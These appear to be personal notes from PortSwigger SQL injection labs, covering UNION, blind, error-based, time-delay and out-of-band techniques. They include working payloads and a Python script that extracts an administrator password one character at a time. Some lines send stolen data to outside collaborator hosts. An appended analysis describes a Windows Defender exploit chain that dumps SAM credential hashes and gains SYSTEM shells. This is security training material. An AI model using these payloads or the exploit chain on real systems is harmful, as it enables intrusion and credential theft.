SELECT table_name FROM information_schema.tables

#Payload
'UNION SELECT table_name,'2' FROM information_schema.tables-- -

to list the tables.

so we can determine the table name is userspresent now we can start enumerating the

<aside> 💡

The information_schema is a collection of read-only views that provide structured information about all database objects. Because it follows the SQL standard, the same queries work across many relational databases (e.g., MySQL, MariaDB, SQL Server).

</aside>

now we need to get the column names as well

#query
SELECT column_name FROM information_schema.columns WHERE table_name='users'

#payload
'UNION SELECT column_name,'2' FROM information_schema.columns WHERE table_name='users'-- -

now we can extract the data from the username and password columns using below query

#Query
SELECT username,password from users;

#payload
'UNION SELECT username,password from users-- -

Lab: SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user. ****

so we can first browse the website and see what it contains

Looks like only single column it is containing. but then i checked using ORDER BY and found it contains 2 columns but only 1 is visible to us let’s check what column number is visible to us

UNION SELECT '1','2'-- -

and found column 2 is visible. let’s check DB version

'UNION SELECT '1',version()-- -

i found the database is PostgreSQL. so we can use CONCAT() function in both mysql and postgresql

to combine result of two columns into 1.

UNION SELECT '1',CONCAT(username,':',password) from users-- -

submit the administrator:**rsgfh6w5ut7d998ao2ob to solve the LAB**

Blind SQL Injection

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

Many techniques such as UNION attacks are not effective with blind SQL injection vulnerabilities.

This is because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Exploiting blind SQL injection by triggering conditional responses

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application uses a SQL query to determine whether this is a known user:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user.

However, the application does behave differently depending on whether the query returns any data. If you submit a recognized TrackingId, the query returns data and you receive a "Welcome back" message in the response.

This behavior is enough to be able to exploit the blind SQL injection vulnerability.

You can retrieve information by triggering different responses conditionally, depending on an injected condition.

To understand how this exploit works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

…xyz' AND '1'='1
…xyz' AND '1'='2

The first of these values causes the query to return results, because the injected AND '1'='1 condition is true. As a result, the "Welcome back" message is displayed.
The second value causes the query to not return any results, because the injected condition is false. The "Welcome back" message is not displayed.

This allows us to determine the answer to any single injected condition, and extract data one piece at a time.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. You can determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the "Welcome back" message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

<aside> 💡

The SUBSTRING function is called SUBSTR on some types of database. For more details, see the SQL injection cheat sheet.

</aside>

<aside> 💡

Step 2: Extract one character

SUBSTRING(password,1,1)

SUBSTRING(string, start, length) returns part of a string.

start = 1 → begin at the first character
length = 1 → return one character

For "secret123", this returns:

</aside>

Lab: Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user. ****

First we’ll capture the clean request and send to repeater

now i’ll put the AND '1'='1 payload to make condition true hence it will return the Welcome Back

and for same i’ll use the AND '1'='2 so it will not return anything, confirming our vulnerability.

' AND SUBSTRING((SELECT password from users where username = 'administrator'),1,1) < 'a

so first to test i’ll just check if the first latter of the password is less than a .

so we can try the numbers now

after some fuzzing i found the valid first character of the password is 1

now to enumerate 2nd character of the password we can take 2nd in the SUBSTRING Function

SUBSTRING((SELECT password from users where username = 'administrator'),2,1)>'a

and it returned Welcome Back page, so that means 2nd character is greater than a then after some try we found the valid character is r

same way we found the third character is n = 1rn

fourth character is 8 = 1rn9

fifth character is 4

sixth character is 2

seventh character is h

eighth character is g

ninth character is x

tenth character is t

eleventh character is d

12th character is f

….

1rn842hgxtdfgygx71z0

Error-based SQL injection

Error-based SQL injection refers to cases where you're able to use error messages to either extract or infer sensitive data from the database, even in blind contexts.

The possibilities depend on the configuration of the database and the types of errors you're able to trigger:

You may be able to induce the application to return a specific error response based on the result of a boolean expression. You can exploit this in the same way as the conditional responses we looked at in the previous section.
You may be able to trigger error messages that output the data returned by the query. This effectively turns otherwise blind SQL injection vulnerabilities into visible ones.

Exploiting blind SQL injection by triggering conditional errors

Some applications carry out SQL queries but their behavior doesn't change, regardless of whether the query returns any data. The technique in the previous section won't work, because injecting different boolean conditions makes no difference to the application's responses.

It's often possible to induce the application to return a different response depending on whether a SQL error occurs. You can modify the query so that it causes a database error only if the condition is true.

Very often, an unhandled error thrown by the database causes some difference in the application's response, such as an error message. This enables you to infer the truth of the injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true:

With the first input, the CASE expression evaluates to 'a', which does not cause any error.
With the second input, it evaluates to 1/0, which causes a divide-by-zero error.

If the error causes a difference in the application's HTTP response, you can use this to determine whether the injected condition is true.

Using this technique, you can retrieve data by testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

<aside> 💡

A SQL CASE expression works like an if/else:

CASE
    WHEN condition THEN result1
    ELSE result2
END

here the CASE works as start of the if/else condition.

when shows the condition and then is like [if condition is true then result 1], else result 2

</aside>

Lab: Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

First i’ll intercept the request and then add the ' to generate the some kind of the error.

and we got internal server error message, now we know that we can proceed with that.

then i check SUBSTRING() function but got the error, so after searching on google i found the SUBSTR() function.

so i used that

AND SUBSTR('test',1,1)='t

so it returns the output without any error that means our query didn’t return any error and executed successfully.

but from this behavior we can not get the information we wanted hence we can not use this technique here.

to understand how the query is working properly i have the test database in mysql

so we can see that the table has 4 columns - id, username, password and status so let’s for example take below query that is executed by the database in the above challenge

SELECT * from users where status = '1'

now let’s use the select case to determine the query results.

select * from users where status = '1' AND (CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a';

and it is returning the output without any error. because the condition was false and it didn’t try to divide 1 by 0 and executed the else condition which returned the a and at the end of query we are comparing the a = a

now let’s do same with true condition 1=1

select * from users where status = '1' AND (CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a';

so as we can see that we got 1 warning.

<aside> 💡

To execute the oracle DB queries to understand how it is working in backend - https://freesql.com/

</aside>

To determine the DB type:

MySQL & PostgreSQL: Force an error by dividing by zero when a condition is true (e.g., AND IF(1=1, (SELECT table_name FROM information_schema.tables), 1)).

Oracle: Force an error using a division by zero error wrapped in a CASE statement. Because Oracle requires selecting from a valid table, you must append FROM dual (e.g., SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual).

MSSQL: Trigger an error by converting a string to an integer, typically through convert(int, @@version)

i’ve first checked with the mysql and postgresql but didn’t get anything let’s use the oracle one

below query worked, and returned the result:

AND (CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END)='a';

and if we put condition true (1=1) it returns the internal server error.

now to get the password from the table users for administrator user we can use the substr function and compare each and every character.

(CASE WHEN SUBSTR((SELECT password from users where username = 'Administrator'),1,1)='a' THEN TO_CHAR(1/0) ELSE 'a') = 'a'

it didn’t give any error so the first character is not the a

but the query is not working for the any of the conditions so i tried to troubleshoot and then found i’ve used the Administrator instead of administrator

i’ll use the intruder to automate this attack.

we got our first character. - p

same way we just need to update the query to get 2nd character:

(CASE WHEN SUBSTR((SELECT password from users where username = 'Administrator'),2,1)='a' THEN TO_CHAR(1/0) ELSE 'a') = 'a'

and we got our 2nd character - w

same way we got the full password.

pwb4weyq6gvwty6fmy0o

i’ve written below code to automate this:

import requests

URL = 'https://0a56009a04d38de68048089000480024.web-security-academy.net' 
cookies = {'TrackingId':'eVq2krDMt3tkdvYm\'',
           'session':'PJJJKMKvxrSV0eE1HvosoBdRSt6cztH0'}

#cookie manipulation

#print(payload_list['TrackingId'])

charset = 'abcdefghijklmnopqrstuvwxyz1234567890'

count = 0
password = ''

while count <= 20:
     for i in range(1,20):
          print(f"testing for position {i}")
          payload = f"{cookies['TrackingId']}+AND+(CASE+WHEN+SUBSTR((SELECT+password+from+users+where+username+=+\'administrator\'),{i},1)='a'+THEN+TO_CHAR(1/0)+ELSE+\'a\'+END)=\'a"

          for char in charset:
               print(f'Testing character {char}')
               payload = f"{cookies['TrackingId']}+AND+(CASE+WHEN+SUBSTR((SELECT+password+from+users+where+username+=+\'administrator\'),{i},1)='{char}'+THEN+TO_CHAR(1/0)+ELSE+\'a\'+END)=\'a"
               
               payload_list = {'TrackingId':payload}
               #print(payload_list['TrackingId'])
               response = requests.get(url=URL,cookies=payload_list)
               
               if response.status_code == 500:
                    print(f"Payload worked! - {char}")
                    password += char
                    print(f"password - {password}")
                    break
               else:
                    pass
               count += 1
               

     print(f"final password - {password}")

Extracting sensitive data via verbose SQL error messages

Misconfiguration of the database sometimes results in verbose error messages.

These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

We can see that in this case, we're injecting into a single-quoted string inside a WHERE statement. This makes it easier to construct a valid query containing a malicious payload. Commenting out the rest of the query would prevent the superfluous single-quote from breaking the syntax.

Occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a visible one.

You can use the CAST() function to achieve this. It enables you to convert one data type to another. For example, imagine a query containing the following statement:

CAST((SELECT example_column FROM example_table) AS int)

Often, the data that you're trying to read is a string. Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:

ERROR: invalid input syntax for type integer: "Example data"

This type of query may also be useful if a character limit prevents you from triggering conditional responses.

Lab: Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

let’s try to inject the ' in TrackingId cookie

Boom we can see the exact SQL query.

then let’s try to convert normal string into INT

but the error says that argument of AND must be type boolean.

AND 1=CAST((SELECT 1)as int)-- -

and it worked without any error

now let’s try to execute below query

AND 1=CAST((SELECT password from users where username = 'administrator')as int)--+-

but looks like our query is breaking due to some limitations.

let’s try to get the version

AND 1=CAST((select version())as INT)--

and now we can use the same to try to get the password.

but there’s also one limitation that subquery should only contain 1 row.

but we can limit the results to 1 row using LIMIT but we want to know the row number that contains data about

AND 1=CAST((select username from users limit)as int)-- -

lucky!! we got the first row for administrator. so for the same we can get the password.

→ uk4amrs02bv890svdms4

Exploiting blind SQL injection by triggering time delays

If the application catches database errors when the SQL query is executed and handles them gracefully, there won't be any difference in the application's response. This means the previous technique for inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays depending on whether an injected condition is true or false.

As SQL queries are normally processed synchronously by the application, delaying the execution of a SQL query also delays the HTTP response.

This allows you to determine the truth of the injected condition based on the time taken to receive the HTTP response.

The techniques for triggering a time delay are specific to the type of database being used. For example, on Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs does not trigger a delay, because the condition 1=2 is false.
The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

Lab: Blind SQL injection with time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay. ****

after trying different payloads for the different DBs the postgresql worked for me:

'; SELECT pg_sleep(5)-- -

To solve the lab, trigger the 10 seconds delay.

Lab: Blind SQL injection with time delays and information retrieval

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

To solve the lab, log in as the administrator user.

first i’ll confirm what database system is running on the target, so from last lab i used the postgresql payload

and it worked to play with postgresql queries and learn it - https://www.pgtutorial.com/playground/

select * from users where user_id = '1'; select case when (1=1) then (select pg_sleep(5)) else 'a' end-- -

in playground above query worked for me.

so we can use the select case in our query with the combination of substring

SELECT case when (SUBSTR((SELECT password from users where username = 'administrator'),1,1)>'a') then (select pg_sleep(5)) else 'a' end-- -

to find first character i’ve used the < and found the first character is r

rceqfnljzwxtgl6c5ghi

Bingo we got the password!!

Exploiting blind SQL injection using out-of-band (OAST) techniques

An application might carry out the same SQL query as the previous example but do it asynchronously.

The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie.

The query is still vulnerable to SQL injection, but none of the techniques described so far will work. The application's response doesn't depend on the query returning any data, a database error occurring, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control.

These can be triggered based on an injected condition to infer information one piece at a time. More usefully, data can be exfiltrated directly within the network interaction.

A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). Many production networks allow free egress of DNS queries, because they're essential for the normal operation of production systems.

The easiest and most reliable tool for using out-of-band techniques is Burp Collaborator. This is a server that provides custom implementations of various network services, including DNS.

It allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application.

The techniques for triggering a DNS query are specific to the type of database being used.

For example, the following input on Microsoft SQL Server can be used to cause a DNS lookup on a specified domain:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

This causes the database to perform a lookup for the following domain:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

You can use Burp Collaborator to generate a unique subdomain and poll the Collaborator server to confirm when any DNS lookups occur.

Lab: Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

i’ve checked the different payloads and the oracle one worked for me

UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://<instance-id>.oastify.com/a"> %remote;]>'),'/l') FROM dual-- -

Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This lookup allows you to view the captured password:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Out-of-band (OAST) techniques are a powerful way to detect and exploit blind SQL injection, due to the high chance of success and the ability to directly exfiltrate data within the out-of-band channel.

For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work.

BlueHammer — Exploit Analysis

Kamlesh Kathiriya — Thu, 18 Jun 2026 00:00:00 GMT

BlueHammer — Exploit Analysis

https://github.com/Nightmare-Eclipse/BlueHammer

This is a proof-of-concept for a privilege escalation / credential theft vulnerability targeting Windows Defender (MsMpEng). It chains several Windows internals techniques together to steal the SAM hive and gain SYSTEM-level code execution. Here's how it works end-to-end:

Stage 1 — Waiting for a Windows Defender Signature Update

The exploit begins by polling the Windows Update API (IUpdateSearcher) waiting for a pending Defender signature update to become available. It downloads the update CAB file manually via WinInet, extracts the signature files (mpasbase.vdm, etc.) into a temp directory, and holds onto them. This is critical because the attack is timed around Defender's own update process.

Stage 2 — Freezing Defender Using a Volume Shadow Copy + Oplock Race

This is the clever core of the exploit, a race condition using three interlocking primitives:

2a. Trigger a VSS Shadow Copy

The PoC writes an EICAR test file to disk, which causes Defender to scan it.
Simultaneously, it registers itself as a Cloud Files sync provider (CfRegisterSyncRoot / CfConnectSyncRoot) for the directory containing the EICAR file.
When Defender's process queries the directory (enumeration triggers the CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS callback), the exploit detects this by PID-matching the callback caller against the Defender service PID.
At that moment, before completing the callback, it requests a batch oplock (FSCTL_REQUEST_BATCH_OPLOCK) on a file inside the same directory.
This oplock forces Defender to pause — it cannot proceed with the file operation until the oplock is released.
While Defender is frozen, Windows creates a Volume Shadow Copy (VSS). The exploit detects the new HarddiskVolumeShadowCopy* device appearing in the object manager's \Device directory.

Why is this important? Normally, C:\Windows\System32\Config\SAM is locked and cannot be read by non-SYSTEM processes. But via a VSS snapshot, a copy of the SAM hive is accessible at \Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM with no lock.

Stage 3 — Directory Junction + Object Manager Symlink (the "File Leak" Trick)

This stage makes Defender itself open the SAM hive on behalf of the attacker:

The exploit calls Proc42_ServerMpUpdateEngineSignature — an undocumented RPC method on Defender's ALPC port (IMpService77BDAF73...) — telling Defender to install the update from the temp directory the exploit controls.
Defender creates a new subdirectory under C:\ProgramData\Microsoft\Windows Defender\Definition Updates\ and starts reading files from the attacker-controlled directory.
The exploit places a batch oplock on mpasbase.vdm inside its temp directory. When Defender tries to open this file for the update, the oplock fires — Defender is paused again momentarily.
During that pause window, the exploit:
- Renames the original temp directory (with the real update files) out of the way.
- Recreates a directory at the same path, but this time as a mount point (junction) pointing to \BaseNamedObjects\Restricted — a namespace inside the Windows Object Manager.
- Creates an Object Manager symbolic link at \BaseNamedObjects\Restricted\mpasbase.vdm pointing to the VSS path of the SAM hive (\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM).
The oplock is released. Defender resumes, follows the directory junction → object manager link chain, and opens the SAM file from the shadow copy — effectively opening it as the SYSTEM-privileged Defender process. The exploit then opens the same file handle that Defender has made accessible.

Stage 4 — Parsing the SAM and Dumping Credentials

With the SAM hive bytes in hand, the exploit:

Reads the boot key from HKLM\SYSTEM\CurrentControlSet\Control\Lsa (the JD, Skew1, GBG, Data subkeys, which together form the syskey).
Uses the boot key + AES-128-CBC to decrypt the Password Encryption Key (PEK) stored in SAM\Domains\Account\F.
Iterates all user subkeys under SAM\Domains\Account\Users, extracts the encrypted NT hash blobs, and decrypts them using a two-stage process: AES-128-CBC (new format, type 2) followed by DES-ECB with a key derived from each user's RID.
Prints every user's plaintext NTLM hash.

Stage 5 — Lateral Movement & SYSTEM Shell

For each local account whose NTLM hash it recovered:

It temporarily changes the user's password using the internal SamiChangePasswordUser SAM API (passing the old NTLM hash it just dumped, so it can authenticate and then restore the password).
It logs on as that user (LogonUserEx).
If the account is in the Administrators group, it impersonates the token at Medium integrity, then creates and starts a Windows service (CreateService / StartService) running itself. Since SCM runs services as SYSTEM, this gives SYSTEM-level execution with a shell in the calling session.
After launching the shell, it restores the user's original password via SamiChangePasswordUser again (using the new→old NTLM hash swap).

Summary of the Vulnerability Chain

Step	Technique	Purpose
1	Windows Update API polling	Wait for Defender update to trigger
2	Cloud Files + oplock race	Freeze Defender to allow VSS creation
3	VSS	Access locked SAM hive without SYSTEM rights
4	Directory junction + Object Manager symlink	Redirect Defender's own file access to SAM
5	Defender RPC (`ServerMpUpdateEngineSignature`)	Cause Defender to open attacker-controlled path as SYSTEM
6	Offline Registry (offreg.lib) + boot key + AES/DES	Decrypt and dump all local NTLM hashes
7	SAM API password swap + SCM service creation	Escalate to SYSTEM and spawn shells as all local users

The root cause is that Defender's signature update RPC endpoint does not sufficiently validate the update source path, and the combination of directory junctions and Object Manager symbolic links allows an unprivileged user to redirect that path to arbitrary locations — including VSS copies of files that are otherwise access-controlled.